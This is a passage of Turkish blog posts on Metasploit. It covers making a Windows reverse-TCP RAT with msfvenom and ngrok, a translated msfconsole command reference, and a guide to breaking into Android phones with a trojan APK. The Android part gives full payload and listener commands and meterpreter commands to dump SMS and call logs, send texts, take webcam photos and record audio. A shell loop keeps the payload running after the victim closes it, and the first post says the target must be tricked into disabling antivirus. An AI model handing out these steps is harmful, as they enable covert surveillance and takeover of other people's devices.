Ezbere gitmeyelim. Ne yaptık anlatalım. Msfvenom aracı ile windows sistemlerde reverse tcp bağlantı yapacak bir dosya hazırladık.  LHOST ile local adresimizi ngrok aracının verdiği bağlantıyı girdik. LPORT ile port adresimizi de ngrok sisteminin verdiği porta verdik. -f exe kısmında da exe dosyası tercih ettiğimizi belirttik. R > rat.exe ile istediğimiz rat dosyasını bulunduğumuz dizine rat.exe isminde oluşturduk.

Reverse tcp bağlantı nedir? Klasik mantıkta siz bir rat oluşturduğunuzda karşı makinede bir port açıp onun üstünden karşı makineye bağlanırsınız. Oluşturduğunuz rat karşı tarafta bir port açardı. Buna bind shell diyoruz. Reverse shell, buradaki adı ile reverse tcp bağlantı ise saldırgan tarafta port açılması, karşı makinenin o porta bağlanarak veri aktarması mantığına dayanır.

Rat dosyasını oluşturduk Karşı tarafa atmadan önce oluşturduğumuz ratı dinlemeye alalım. “msfconsole” komutu ile metasploiti çalıştıralım. Daha sonra use exploit/multi/handler diyelim. Daha sonrasında ise aşağıdaki bilgileri girmemiz yeterli.

set LHOST 127.0.0.1

set LPORT 1212

run

Karşı taraf dosyayı açtığında bağlantı gelecek ve sistemde yetkinize bağlı olarak işlem yapabileceksiniz. Diğer sıkıntı ise anti virüs uygulamaları anında fark edecektir. Windows defender da buna dahil. Karşı tarafa anti virüs uygulamalarını eliyle kapattırmak gerekiyor. Biz antilerden nasıl kaçarız, kalıcılığı nasıl sağlarız, yetki yükseltme işlemini nasıl yaparız ayrı ayrı anlatacağız.

Kategoriler
Linux Metasploit Siber Güvenlik

Metasploit (Msfconsole) Komutları

Terminalde “msfconsole” komutu ile metasploit aracını çalıştırıyoruz. Eğer banner ve diğer detayları görmek istemezseniz “msfconsole -q” yazabilirsiniz.

“help” komutu ile tüm komutları ve ne işe yaradığını öğrenmeniz mümkün. Gelelim bu listedekilerin ne işe yaradığına. Hepsini aşağıda özet bir biçimde sıraladım. Liste kabarık farkındayım. Ancak bilmeniz gerekenleri kırmızı renkle özellikle belirteceğim. Ne kadar bilirseniz o kadar iyi ama tüm tabloyu ezberlemek de zorunda değilsiniz. Kullanımlarını da tablonun altında göreceksiniz.

Tüm Metasploit (msfconsole) Komutlarının Özet Tablosu

back : Geçerli içerikten geri git pushm :
banner : Metasploit bannerlarını görüntüler. (Şu açılışta karşınıza çıkan rastgele bannerlar.) quit : Konsoldan çıkış.
cd  : Geçerli çalışma dizinini değiştirir. (Linux kullanıcıları bilir.) reload_all : Tanımlanmış tüm modül yollarından tüm modülleri yeniden yükler
color : Msfconsole’da oluşan çıktı renk içerecekse etkinleştirebilirsiniz. rename_job : İşi yeniden adlandırır.
connect : Bir host ile iletişim kurar. resource : Bir dosyada saklanan komutları çalıştır
edit : Seçilen exploiti veya modülü editör ile düzenlemeyi sağlar. route : Trafiğin yönlendirilmesini sağlar.
exit : Konsoldan çıkış. save : Veriyi depolar, kaydeder.
get : search : Exploit, payload ve diğer modülleri aramanızı sağlar.
getg : sessions : Oturumları listeler.
go_pro : Metasploit web GUI’yi başlatır. set : Bir değişkeni, bir değeri ayarlamayı sağlar.
grep : Yine linux kullanıcıları bilir. Search komutu ile çıkan sonuçlardan yalnızca istediklerinizi çıktı yapar. setg : Bir değişkeni, bir değeri global olarak ayarlar. Her modül seçiminde mevcut değişken hep aynı kalır.
info : Modüller hakkında bilgi verir. show : Modülleri listeler.
irb : irb scripting modunu başlatır. sleep : Verilen zaman aralığında işlem yapmaz.
jobs : İşlemleri görüntüler ve yönetir. spool
kill : İşlemi kapatır. threads
load : Eklenti yüklemek için kullanılır. unload : Mevcut eklentiyi kaldırır.
loadpatch : Verilen kaynaktan exploit vb. modülleri yükler. unset : Ayarlanan değişkeni iptal eder.
makerc : Bir dosyaya başlandıktan sonra girilen komutları kaydeder. unsetg : Ayarlanan global değişkeni iptal eder.
popm : En son modülü yığından çıkartır ve aktif hale getirir. use : İsmi verilen modülün seçilip kullanılmasını sağlar.
previous : Mevcut modül olarak önceden yüklenen modülü ayarlar. version : Konsol kütüphanesi sürüm numarasını gösterir.

run ve exploit

Bir modüle dair tüm hazırlığınızı yaptınız. Ve sonunda sistemde çalıştırmak istiyorsunuz. Bu durumda run veya exploit komutunu girmeniz yeterli.

back

Belirli bir modülle çalışmanız bittikten sonra veya bir modülü hata ile seçtiniz ise “back” komutu ile geçerli içeriğin dışına çıkabilirsiniz. Elbette bunu yapmanız şart değil. Bir modülün içindeyken de başka bir modül seçebilirsiniz.

msf auxiliary ( ms09_001_write )> back

background

Bir sisteme sızdınız ve aktif bir oturum yakaladınız. Diğer taraftan başka bir sisteme girmeniz gerekiyor. Bu durumda yakaladığınız aktif oturumu kaybetmeden diğer işlemleri yapmak için “background” komutunu yazmanız yeterli. Arkaplanda erişiminiz devam eder. Tekrar o erişime ihtiyacınız olursa “sessions” komutunu kullanabilirsiniz. Yazının devamında onu da anlattım.

banner

Metasploit açılışta size çeşitli bannerlarından birini gösterir. Diğerlerini görmek isterseniz “banner” yazmanız yeterli.

check

Diyelim ki sistemde bir exploiti, bir zafiyeti denemek istiyorsunuz. Ancak gerçekten sisteme girmeyi değil de sadece kontrol etmeyi istiyorsunuz. Exploitin o sistemde çalışıp çalışmadığını anlamak için parametreleri ayarladıktan sonra check yazmanız yeterli.

msf exploit(ms08_067_netapi) > check
[*] Verifying vulnerable status... (path: 0x0000005a)
[*] System is not vulnerable (status: 0x00000000)
[*] The target is not exploitable.
msf  exploit(ms08_067_netapi) >

color

Metasploit’in çıktılarını renkli veya renksiz bir biçimde tercih edebilirsiniz. Dikkat ederseniz aşağıdaki görselde seçtiğimiz exploit düz renk oldu.

connect

Telnet bağlantısı yapar gibi metasploit üzerinden de başka bir uzak makineye msfconsole içinden bağlanabilirsiniz. SSL, proxy, pivoting ve dosya aktarımını destekler. Connect komutu ile ip adresi ve port numarası belirtmeniz yeterli.

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
DD-WRT login:

edit

Edit komutu $VISUAL veya $EDITOR ile mevcut modülü düzenlemenizi sağlar. Varsayılan olarak Vim’de açar.

msf exploit(ms10_061_spoolss) > edit
[*] Launching /usr/bin/vim /usr/share/metasploit-framework/modules/exploits/windows/smb/ms10_061_spoolss.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/windows_error'
...(kodlar devam etmekte)

grep

Linux’taki grep komutuna oldukça benziyor. Örneğin arama işlemini grep ile gerçekleştirerek arama sonuçları içinde kısıtlamalar yapabilirsiniz. Aşağıda oracle aranmıştır ve yalnızca içinde http geçen modüller listelenmiştir.

msf > grep http search oracle

info

Bu komut sayesinde kullanmak istediğiniz modüle dair birçok bilgiye sahip olabilirsiniz.

  • Yazar ve lisans bilgileri
  • Güvenlik açığı referansları (örneğin: CVE, BID, vb.)
  • Modülün sahip olabileceği herhangi bir yük sınırlaması
msf  exploit(ms09_050_smb2_negotiate_func_index) > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index 

       Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
    Version: 14774
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good

Provided by:
  Laurent Gaffie <[email protected]>
  hdm <[email protected]>
  sf <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  445              yes       The target port
  WAIT   180              yes       The number of seconds to wait for the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in 
  the SMB request validation code of the SRV2.SYS driver included with 
  Windows Vista, Windows 7 release candidates (not RTM), and Windows 
  2008 Server prior to R2. Windows Vista without SP1 does not seem 
  affected by this flaw.

References:
  http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
  http://www.securityfocus.com/bid/36299
  http://www.osvdb.org/57799
  http://seclists.org/fulldisclosure/2009/Sep/0039.html
  http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx</[email protected]></[email protected]></[email protected]>

jobs

Arkaplanda çalışan modülleri gösterir. “jobs -l” komutu tüm işleri listeler. “jobs -K” tüm işleri kapatır.

kill

“kill 2” formatında kullanılır. “jobs” komutu ile listelenen işlerden istediğiniz birini kapatabilirsiniz. İş numarasını kill komutu ile kullanmanız yeterli.

msf exploit(ms10_002_aurora) > kill 0
Stopping job: 0...

[*] Server stopped.

search

Metasploit üzerinde bir işletim sistemi, bir servis veya bir modül tipi arıyorsunuz. Search komutunu kullanabilirsiniz.

  • “search platform: linux” yazmanız halinde linux platformunda işe yarar modülleri listeler.
  • “search type: auxiliary” şeklinde aramalarla modül tipi belirtebilirsiniz.
  • “search name: mysql” komutu ile mysql geçen modüllerin listelenmesini sağlarsınız.
  • “search author: dookie” komutu ile modülleri, yazan kişiye göre arayabilirsiniz.
  • “search cve(edb,cve,osvdb):****” Bu formatta istediğiniz numara ile arama yapabilirsiniz.
msf > search cve:2011 author:jduck platform:linux

Matching Modules
================

   Name                                         Disclosure Date  Rank     Description
   ----                                         ---------------  ----     -----------
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average  NetSupport Manager Agent Remote Buffer Overflow

sessions

Bir exploit sayesinde sisteme girdiniz diyelim. Hatta birden fazla sisteme girdiniz. Bu durumda herhangi bir sisteme geçiş yapmak isterseniz “sessions -l” komutu ile aktif oturumları listeleyebilirsiniz. Daha sonra meterpreter çalıştırmak için “sessions -c <id>” komutu girmeniz yeterli. Veya o oturuma geçmek için “sessions -i <id>” komutunu girebilirsiniz.

 

msf exploit(3proxy) > sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.101:33191 -> 192.168.1.104:4444
msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...

C:WINDOWSsystem32>

set

Bir modül seçtiniz ve kullanmaya başladınız. Gerekli parametreleri girmek istiyorsunuz. Bu durumda “set” komutunu kullanırsınız. Örnek vermek gerekirse : “set RHOST 127.0.0.1”

msf auxiliary(ms09_050_smb2_negotiate_func_index) > set RHOST 172.16.194.134
RHOST => 172.16.194.134

unset

Seçtiğiniz modülün parametresini hatalı girdiniz. Veya o parametreyi boş bırakmak istiyorsunuz. Bu durumda “unset” komutu işinize yarar. Örnek vermek gerekirse : “unset RHOST”. Diğer yandan “unset all” komutu ile modüle ait girdiğiniz tüm parametreleri sıfırlayabilirsiniz.

msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...

setg

Bir hedefe karşı birden fazla modülü test edeceksiniz. Ancak sürekli olarak RHOST girmekten sıkıldınız diyelim. (Bu başka bir parametre de olabilir.) Bu durumda global bir değer atarsınız ve siz aksini söyleyinceye kadar metasploit, hangi modülde RHOST varsa hepsine sizin bir defa verdiğiniz değeri girer. Örneğin : “setg RHOST 127.0.0.1”

show

Bu komut göster anlamına gelmektedir. Aşağıda pekçok örnekte kullandık. Onları incelediğinizde daha iyi anlayacaksınız.

payload

Birçok payload mevcut. Hangisini nerede kullanacağımızı bilemiyoruz. Bu durumda mevcut exploiti seçtikten sonra show payloads yazdığımda exploite uygun payloadları bana listeleyecektir.

msf  exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

   Name                                             Disclosure Date  Rank    Description
   ----                                             ---------------  ----    -----------
   generic/custom                                                    normal  Custom Payload
   generic/debug_trap                                                normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                            normal  Generic Command Shell, Bind TCP Inline
...snip...

options

Bir modülü seçtiniz ve kullanmak için hangi parametrelere ihtiyacınız var bilmek istiyorsunuz. “show options” veya “options” yazdığınızda girmeniz gereken parametreler size listelenir. “Required” kısmının altında yes yazanları girmek zorundasınız. No yazanları girmeseniz de modül çalışmayı dener. Ancak no yazanları girerseniz modülün gücüne güç katarsınız. Çalışma imkanı artacaktır.

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

use

Bir modül seçtiğinizde onu kullanmaya başlamanız için use komutunu kullanıp modülün adresini yazarsınız.

msf > use dos/windows/smb/ms09_001_write

Tab Tuşu

Tab tuşu linuxta büyük kolaylık. Kelimelerinizin birkaç harfinden sonra tab tuşuna basmanız halinde devamı otomatik tamamlanır. Aynı harflerle başlayan birden fazla komut varsa arka arkaya taba basın ve size hepsini sıralasın. Bu sayede tam anımsayamadığınız komutları da hatırlayabilirsiniz.

Bu yazı çok büyük oranda Offensive Security’nin metasploit klavuzundan çevrilmiştir. Açıklamalarda farklılıklar söz konusu. Bire bir çeviri değil.

https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/

Kategoriler
Android Linux Metasploit Siber Güvenlik

Metasploit ile Android Telefona Sızma

Metasploit linux içerisinde bulunan bazı pentest işlemlerini gerçekleştirmek için kullanılan bir framework altyapısıdır. Windows üzerinde de kullanmanın bazı yolları var. Ancak bu yazıda onu anlatmayacağım.
 
Android telefonlara payload apk hazırlayarak sızmayı göstereceğim. Payload, karşı tarafa sızmamızda kullanacağımız dosya, malzeme vs. diyebiliriz. Hazırlayacağımız apkyı karşı tarafın kurması ve bir defa açması yeterli.
 
Önce msfvenom ile payloadımızı oluşturalım. Root terminalini açın ve aşağıdaki kodu girin.
 

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.2 LPORT=1604 R > Desktop/test.apk

Sahte apk oluşturma
 
Yukarıdaki ekran görüntüsünde duralım. Orada msfvenom kullanarak android reverse_tcp payloadını seçtik. Daha sonra host ve port adresi seçiyoruz.
Eğer kurbanımız ile aynı ağı kullanıyorsanız local ip adresinizi girmeniz gerek. Linux’ta terminale ifconfig yazarak, Windows’ta komut penceresine ipconfig yazarak öğrenebilirsiniz. Dikkat ederseniz işlem sonunda masaüstünde test.apk dosyası oluşmuş arkaplanda.
 
Şayet kurban başka bir internet ağına bağlı ise dış ip adresinizi girin. Başka ağda yapılacak bağlantı işlemleri, aynı ağdakinden uzun sürebilir. Bunu da ister internetten ister başka şekilde öğrenirsiniz zaten. İster yerel ağ, ister başka ağda olsun her ihtimalde de port açmanız gerekecek yalnız.
 
Daha sonra msfconsole yazarak yavaştan başlıyoruz.
 
metasploit giriş
 
Daha sonra sırası ile aşağıdaki komutları giriyoruz.
  1. use exploit/multi/handler
  2. set payload android/meterpreter/reverse_tcp
  3. set LHOST 192.168.2.3
  4. set LPORT 1604
  5. exploit
3. maddede yine local ya da dış ip adresimizi giriyoruz. 4. maddede ise port numarasını giriyoruz tekrar. Son olarakexploit diyerek oluşturduğumuz payloadı dinlemeye başlıyoruz. Dosyayı açan kurbanlar burada birer birer listelenecek.
payload seçimi ve ayarları
Bağlantı geldiğinde aşağıdaki görselde ilk sütundaki gibi bir yazı ile karşılaşacaksınız. Bağlantı koptuğunda ise bir altındaki sütunla…
 
Exploit

 

 “help” komutunu girerek neler yapabileceğinizin detaylı bir dökümüne ulaşabilirsiniz.Birkaç can alıcı komutu aşağıya yazayım.
 
check_root : Cihaz rootlu mu onu gösterir.
dump_sms : Telefondaki tüm smsleri toplar.
dump_calllog : Tüm arama kayıtlarını toplar.
send_sms : İstediğiniz bir numaraya telefon sahibi adına sms gönderebilirsiniz.
wlan_geolocate : Bağlı olduğu wifi ağına ait adresi bulabilirsiniz.
webcam_snap : Telefon kamerasından anlık bir fotoğraf çekerek bunu bilgisayarınıza kaydedebilirsiniz.
record_mic : Anlık ses kaydı toplayabilirsiniz.  
 
Ek olarak istediğiniz bir komuta dair yardım da alabilirsiniz. Örneğin “record_mic -h” yazarak bu komut ile başka neler yapabildiğinizi görebilirsiniz.

Kurban uygulamayı kapatsa dahi arkaplanda uygulamayı çalıştırarak takip etmeye devam etmek isterseniz aşağıdaki kodu bir txt dosyasına kaydedin ve uzantısını “.sh” olarak kaydedin. Daha sonra karşı telefona yükleyin. Bunu“help” yardımı ile gördüğünüz komutlardan birisi ile halletmeniz mümkün.

— — — — — — — — — —
#!/bin/bash
while true
do am start — user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
— — — — — — — — — —
Tüm bunları yaptıktan sonra terminale shell yazın ve dosyayı yüklediğiniz konuma giderek “sh dosyaismi.sh”yazarak çalıştırın. Bundan sonra uygulama kapansa da siz istediğiniz işlemleri yapmaya devam edebilirsiniz.